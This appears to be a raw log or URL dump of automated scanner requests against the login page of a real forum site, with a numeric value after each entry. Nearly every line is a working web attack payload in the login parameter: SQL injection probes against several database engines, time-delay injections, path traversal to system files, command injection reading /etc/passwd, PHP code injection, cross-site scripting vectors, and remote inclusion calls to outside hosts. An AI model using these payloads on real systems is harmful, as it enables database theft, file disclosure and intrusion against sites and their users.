http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x796573%20ELSE%2011*(SELECT%2011%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=(SELECT%20(CASE%20WHEN%20(15=15)%20THEN%200x796573%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=(SELECT%20(CASE%20WHEN%20(38=81)%20THEN%200x796573%20ELSE%2038*(SELECT%2038%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=(SELECT%20(CASE%20WHEN%20(39=75)%20THEN%200x796573%20ELSE%2039*(SELECT%2039%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=(SELECT%20(CASE%20WHEN%20(44=51)%20THEN%200x796573%20ELSE%2044*(SELECT%2044%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=(SELECT%20(CASE%20WHEN%20(46=65)%20THEN%200x796573%20ELSE%2046*(SELECT%2046%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=(SELECT%20(CASE%20WHEN%20(74=21)%20THEN%200x796573%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=(SELECT%20(CASE%20WHEN%20(87=87)%20THEN%200x796573%20ELSE%2087*(SELECT%2087%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=(SELECT%20(CASE%20WHEN%20(88=88)%20THEN%200x796573%20ELSE%2088*(SELECT%2088%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=................windowswin.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=ELT(31=31,0x796573) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=ELT(86=18,0x796573) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=MAKE_SET(75=51,0x796573) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=MAKE_SET(82=82,0x796573) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=dir 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=phpinfo 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=set%7Cset&set 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes 0.0020 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%00' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x796573%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20RLIKE%20(SELECT%20(CASE%20WHEN%20(17=12)%20THEN%200x796573%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%22%20AND%20%22ir%22=%22zD 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%22)%20AND%2084=43%20AND%20(%22Ro%22=%22Ro 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25%22%29%20AND%2083%3D53%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25%27%29%20AND%2014%3D33%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25%27%29%20AND%2061%3D61%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25%27%29%20AND%2065%3D65%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25%27%29%20AND%2069%3D48%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20AND%2024=24%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20AND%2057=57%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20AND%2087=78%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20AND%2091=15%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0002 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(24=24)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(35=71)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(72=81)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(81=81)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%2527 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%2527%20AND%2053=77%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%2527%20AND%2091=91%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%5B%5D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&infloat=yes&lssubmit=yes&loginsubmit=yes%5C%22 0.0001 